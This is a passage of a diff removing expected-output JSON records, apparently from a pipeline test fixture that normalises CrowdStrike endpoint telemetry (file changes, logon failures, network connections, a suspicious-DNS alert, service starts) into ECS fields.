-                "SHA256HashData": "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d",
-                "VnodeModificationType": "10",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b",
-                "name": "AsepFileChangeMacV2"
-            },
-            "device": {
-                "id": "ffffffff1f32487185fcde66a9dc0528"
-            },
-            "event": {
-                "action": "AsepFileChange",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:09:15.495Z",
-                "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b|ffffffff1f32487185fcde66a9dc0528|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1457965279\",\"ContextProcessId\":\"321365562189152025\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604846070.744\",\"Entitlements\":\"15\",\"SHA256HashData\":\"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d\",\"Size\":\"29646\",\"TargetFileName\":\"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc\",\"VnodeModificationType\":\"10\",\"aid\":\"ffffffff1f32487185fcde66a9dc0528\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"AsepFileChange\",\"id\":\"ffffffff-1111-11eb-b9b4-063e98f9b19b\",\"name\":\"AsepFileChangeMacV2\",\"timestamp\":\"1604855355495\"}",
-                "outcome": "success",
-                "type": [
-                    "creation",
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork",
-                "hash": {
-                    "sha256": "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d"
-                },
-                "name": "rsrc",
-                "path": "/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc",
-                "size": 29646,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff1f32487185fcde66a9dc0528",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "AsepFileChange",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff1f32487185fcde66a9dc0528",
-                "version": "1007.4.0011104.1"
-            },
-            "process": {
-                "entity_id": "321365562189152025",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d",
-                    "1457965279"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:33.422Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3011122681",
-                "ContextProcessId": "2932136",
-                "ContextTimeStamp": "2020-11-08T17:06:31.803Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "UserLogonFlags": "1",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-aa5a-0207e26418af",
-                "name": "UserLogonFailedV1"
-            },
-            "device": {
-                "id": "ffffffffa5bd4efaa195a7132c576edc"
-            },
-            "event": {
-                "action": "UserLogonFailed",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-11-08T17:06:33.422Z",
-                "id": "ffffffff-1111-11eb-aa5a-0207e26418af|ffffffffa5bd4efaa195a7132c576edc|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"2932136\",\"ContextThreadId\":\"36157339485804\",\"ContextTimeStamp\":\"1604855191.803\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonTime\":\"\",\"PasswordLastSet\":\"\",\"UserLogonFlags\":\"1\",\"UserName\":\"user7\",\"UserSid\":\"S-1-5-10\",\"aid\":\"ffffffffa5bd4efaa195a7132c576edc\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogonFailed\",\"id\":\"ffffffff-1111-11eb-aa5a-0207e26418af\",\"name\":\"UserLogonFailedV1\",\"timestamp\":\"1604855193422\"}",
-                "outcome": "failure",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffffa5bd4efaa195a7132c576edc",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogonFailed",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffa5bd4efaa195a7132c576edc",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "2932136",
-                "thread": {
-                    "id": 36157339485804
-                }
-            },
-            "related": {
-                "hash": [
-                    "3011122681"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user7",
-                    "S-1-5-10"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-10",
-                "name": "user7"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:39.798Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1858880895",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "56042872298",
-                "ContextTimeStamp": "2020-11-08T17:05:36.669Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-a889-061944805289",
-                "name": "NetworkConnectIP6V5"
-            },
-            "destination": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "port": 443
-            },
-            "device": {
-                "id": "ffffffff6854438eb4181691ec47e43d"
-            },
-            "event": {
-                "action": "NetworkConnectIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:06:39.798Z",
-                "id": "ffffffff-1111-11eb-a889-061944805289|ffffffff6854438eb4181691ec47e43d|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1858880895\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"56042872298\",\"ContextTimeStamp\":\"1604855136.669\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"LocalPort\":\"49689\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"RemotePort\":\"443\",\"aid\":\"ffffffff6854438eb4181691ec47e43d\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkConnectIP6\",\"id\":\"ffffffff-1111-11eb-a889-061944805289\",\"name\":\"NetworkConnectIP6V5\",\"timestamp\":\"1604855199798\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffff6854438eb4181691ec47e43d",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkConnectIP6",
-            "network": {
-                "community_id": "1:H+oCOL0YBAZDUBNuLG0b/Xuke3g=",
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff6854438eb4181691ec47e43d",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "56042872298"
-            },
-            "related": {
-                "hash": [
-                    "1858880895"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "port": 49689
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:53.224Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1789338890",
-                "ContextProcessId": "321382909294815631",
-                "ContextTimeStamp": "2020-11-08T16:42:35.987Z",
-                "Entitlements": "15",
-                "SHA256HashData": "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583",
-                "TargetFileName": "/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8773-06939a2f0915",
-                "name": "NewExecutableRenamedMacV1"
-            },
-            "device": {
-                "id": "ffffffffc07b49d6b7426e970523671a"
-            },
-            "event": {
-                "action": "NewExecutableRenamed",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:06:53.224Z",
-                "id": "ffffffff-1111-11eb-8773-06939a2f0915|ffffffffc07b49d6b7426e970523671a|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ContextProcessId\":\"321382909294815631\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604853755.987\",\"Entitlements\":\"15\",\"SHA256HashData\":\"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583\",\"Size\":\"165\",\"SourceFileName\":\"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq\",\"TargetFileName\":\"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478\",\"aid\":\"ffffffffc07b49d6b7426e970523671a\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NewExecutableRenamed\",\"id\":\"ffffffff-1111-11eb-8773-06939a2f0915\",\"name\":\"NewExecutableRenamedMacV1\",\"timestamp\":\"1604855213224\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "Ext": {
-                    "original": {
-                        "name": ".dat.nosync2c98.VBwjsq",
-                        "path": "/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq"
-                    }
-                },
-                "directory": "/Library/Application Support/JAMF/tmp",
-                "hash": {
-                    "sha256": "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583"
-                },
-                "name": "6B24D2B6-BC17-4470-8078-91A787A19478",
-                "path": "/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478",
-                "size": 165,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffc07b49d6b7426e970523671a",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NewExecutableRenamed",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffc07b49d6b7426e970523671a",
-                "version": "1007.4.0011104.1"
-            },
-            "process": {
-                "entity_id": "321382909294815631",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583",
-                    "1789338890"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:07:48.755Z",
-            "crowdstrike": {
-                "ConfigStateHash": "203564169",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "321367236803434269",
-                "ContextTimeStamp": "2020-11-08T17:07:48.323Z",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "0:0:0:0:0:0:0:0"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9a50-0669ff09604d",
-                "name": "NetworkListenIP6MacV5"
-            },
-            "destination": {
-                "address": "0:0:0:0:0:0:0:0",
-                "ip": "0:0:0:0:0:0:0:0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffffa60a47af4ebd2a76070f0d4f"
-            },
-            "event": {
-                "action": "NetworkListenIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:07:48.755Z",
-                "id": "ffffffff-1111-11eb-9a50-0669ff09604d|ffffffffa60a47af4ebd2a76070f0d4f|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"203564169\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321367236803434269\",\"ContextTimeStamp\":\"1604855268.323\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"LocalPort\":\"51076\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffa60a47af4ebd2a76070f0d4f\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkListenIP6\",\"id\":\"ffffffff-1111-11eb-9a50-0669ff09604d\",\"name\":\"NetworkListenIP6MacV5\",\"timestamp\":\"1604855268755\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffffa60a47af4ebd2a76070f0d4f",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NetworkListenIP6",
-            "network": {
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffa60a47af4ebd2a76070f0d4f",
-                "version": "1007.4.0011104.1"
-            },
-            "process": {
-                "entity_id": "321367236803434269"
-            },
-            "related": {
-                "hash": [
-                    "203564169"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0:0:0:0:0:0:0:0"
-                ]
-            },
-            "source": {
-                "address": "0:0:0:0:0:0:0:0",
-                "ip": "0:0:0:0:0:0:0:0",
-                "port": 51076
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:08:43.217Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3765958535",
-                "ContextProcessId": "1611521722601",
-                "ContextTimeStamp": "2020-11-08T17:08:00.307Z",
-                "DualRequest": "0",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InterfaceIndex": 0,
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-885e-02ac336efd4b",
-                "name": "SuspiciousDnsRequestV2"
-            },
-            "device": {
-                "id": "ffffffff6d724d38af99c628fb904626"
-            },
-            "dns": {
-                "question": {
-                    "name": "raw.githubusercontent.com",
-                    "registered_domain": "githubusercontent.com",
-                    "subdomain": "raw",
-                    "top_level_domain": "com",
-                    "type": "A"
-                },
-                "type": "query"
-            },
-            "event": {
-                "action": "SuspiciousDnsRequest",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:08:43.217Z",
-                "id": "ffffffff-1111-11eb-885e-02ac336efd4b|ffffffff6d724d38af99c628fb904626|ffffffff30a3407dae27d0503611022d",
-                "kind": "alert",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ContextProcessId\":\"1611521722601\",\"ContextThreadId\":\"53405065993811\",\"ContextTimeStamp\":\"1604855280.307\",\"DomainName\":\"raw.githubusercontent.com\",\"DualRequest\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InterfaceIndex\":\"0\",\"RequestType\":\"1\",\"aid\":\"ffffffff6d724d38af99c628fb904626\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"SuspiciousDnsRequest\",\"id\":\"ffffffff-1111-11eb-885e-02ac336efd4b\",\"name\":\"SuspiciousDnsRequestV2\",\"timestamp\":\"1604855323217\"}",
-                "outcome": "success",
-                "type": [
-                    "start",
-                    "protocol"
-                ]
-            },
-            "host": {
-                "id": "ffffffff6d724d38af99c628fb904626",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SuspiciousDnsRequest",
-            "network": {
-                "protocol": "dns"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff6d724d38af99c628fb904626",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1611521722601",
-                "thread": {
-                    "id": 53405065993811
-                }
-            },
-            "related": {
-                "hash": [
-                    "3765958535"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:08:49.102Z",
-            "crowdstrike": {
-                "ContextProcessId": "4492535979973",
-                "ContextTimeStamp": "2020-11-08T17:08:35.034Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "VolumeDeviceCharacteristics": "131072",
-                "VolumeDeviceObjectFlags": "134479872",
-                "VolumeDeviceType": "8",
-                "VolumeDriveLetter": "C:",
-                "VolumeFileSystemDevice": "\\Ntfs",
-                "VolumeFileSystemDriver": "\\FileSystem\\Ntfs",
-                "VolumeFileSystemType": "2",
-                "VolumeIsEncrypted": "0",
-                "VolumeMountPoint": "\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}",
-                "VolumeName": "\\Device\\HarddiskVolume4",
-                "VolumeRealDeviceName": "\\Device\\HarddiskVolume4",
-                "VolumeSectorSize": "512",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9be9-024459b713c5",
-                "name": "FsVolumeMountedV6"
-            },
-            "device": {
-                "id": "ffffffff1990483499a736373600eef7"
-            },
-            "event": {
-                "action": "FsVolumeMounted",
-                "category": [
-                    "host"
-                ],
-                "created": "2020-11-08T17:08:49.102Z",
-                "id": "ffffffff-1111-11eb-9be9-024459b713c5|ffffffff1990483499a736373600eef7|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"100.3.0011603.1\",\"ContextProcessId\":\"4492535979973\",\"ContextThreadId\":\"14023068415125\",\"ContextTimeStamp\":\"1604855315.034\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_8086\\u0026DEV_31E3\\u0026SUBSYS_080C1028\\u0026REV_03\\\\3\\u002611583659\\u00260\\u002690\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeDeviceCharacteristics\":\"131072\",\"VolumeDeviceObjectFlags\":\"134479872\",\"VolumeDeviceType\":\"8\",\"VolumeDriveLetter\":\"C:\",\"VolumeFileSystemDevice\":\"\\\\Ntfs\",\"VolumeFileSystemDriver\":\"\\\\FileSystem\\\\Ntfs\",\"VolumeFileSystemType\":\"2\",\"VolumeIsEncrypted\":\"0\",\"VolumeMountPoint\":\"\\\\??\\\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeRealDeviceName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeSectorSize\":\"512\",\"aid\":\"ffffffff1990483499a736373600eef7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeMounted\",\"id\":\"ffffffff-1111-11eb-9be9-024459b713c5\",\"name\":\"FsVolumeMountedV6\",\"timestamp\":\"1604855329102\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "device": "PCI\\VEN_8086&DEV_31E3&SUBSYS_080C1028&REV_03\\3&11583659&0&90"
-            },
-            "host": {
-                "id": "ffffffff1990483499a736373600eef7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FsVolumeMounted",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff1990483499a736373600eef7",
-                "version": "100.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "4492535979973",
-                "thread": {
-                    "id": 14023068415125
-                }
-            },
-            "related": {
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:28.936Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1789338890",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "321210562584146513",
-                "ContextTimeStamp": "2020-11-08T17:05:27.011Z",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "127.0.0.1"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-ae74-065212970c5d",
-                "name": "NetworkListenIP4MacV5"
-            },
-            "destination": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffffe5ff467b4f0c4fd41a4462bb"
-            },
-            "event": {
-                "action": "NetworkListenIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:05:28.936Z",
-                "id": "ffffffff-1111-11eb-ae74-065212970c5d|ffffffffe5ff467b4f0c4fd41a4462bb|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321210562584146513\",\"ContextTimeStamp\":\"1604855127.011\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"127.0.0.1\",\"LocalPort\":\"53\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"0.0.0.0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffe5ff467b4f0c4fd41a4462bb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkListenIP4\",\"id\":\"ffffffff-1111-11eb-ae74-065212970c5d\",\"name\":\"NetworkListenIP4MacV5\",\"timestamp\":\"1604855128936\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffffe5ff467b4f0c4fd41a4462bb",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NetworkListenIP4",
-            "network": {
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffe5ff467b4f0c4fd41a4462bb",
-                "version": "1007.4.0011104.1"
-            },
-            "process": {
-                "entity_id": "321210562584146513"
-            },
-            "related": {
-                "hash": [
-                    "1789338890"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "127.0.0.1",
-                    "0.0.0.0"
-                ]
-            },
-            "source": {
-                "address": "127.0.0.1",
-                "ip": "127.0.0.1",
-                "port": 53
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:24.068Z",
-            "crowdstrike": {
-                "AuthenticationId": "999",
-                "ConfigStateHash": "3338885535",
-                "ContextTimeStamp": "2020-11-08T17:06:25.108Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InterfaceGuid": "367ABB81-9844-35F1-AD32-98F038001003",
-                "InterfaceVersion": "131072",
-                "RpcClientProcessId": "219053851298",
-                "RpcClientThreadId": "22047924482692",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "19",
-                "TargetThreadId": "22920092479704",
-                "TokenType": "1",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-860c-0606af112d55",
-                "name": "HostedServiceStartedV2"
-            },
-            "device": {
-                "id": "ffffffff59514ea68b4693ddfb9b6643"
-            },
-            "event": {
-                "action": "HostedServiceStarted",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:06:24.068Z",
-                "id": "ffffffff-1111-11eb-860c-0606af112d55|ffffffff59514ea68b4693ddfb9b6643|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"999\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextTimeStamp\":\"1604855185.108\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\System32\\\\gpsvc.dll\",\"InterfaceGuid\":\"367ABB81-9844-35F1-AD32-98F038001003\",\"InterfaceVersion\":\"131072\",\"RpcClientProcessId\":\"219053851298\",\"RpcClientThreadId\":\"22047924482692\",\"RpcNestingLevel\":\"0\",\"RpcOpNum\":\"19\",\"ServiceDisplayName\":\"gpsvc\",\"TargetProcessId\":\"224116976578\",\"TargetThreadId\":\"22920092479704\",\"TokenType\":\"1\",\"UserName\":\"user7\",\"aid\":\"ffffffff59514ea68b4693ddfb9b6643\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostedServiceStarted\",\"id\":\"ffffffff-1111-11eb-860c-0606af112d55\",\"name\":\"HostedServiceStartedV2\",\"timestamp\":\"1604855184068\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff59514ea68b4693ddfb9b6643",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "HostedServiceStarted",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff59514ea68b4693ddfb9b6643",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "224116976578",
-                "executable": "\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll",
-                "name": "gpsvc.dll",
-                "title": "gpsvc"
-            },
-            "related": {
-                "hash": [
-                    "3338885535"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user7"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "user7"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:08:22.512Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3338885535",
-                "ContextTimeStamp": "2020-11-08T17:08:19.018Z",
-                "EffectiveTransmissionClass": "3",
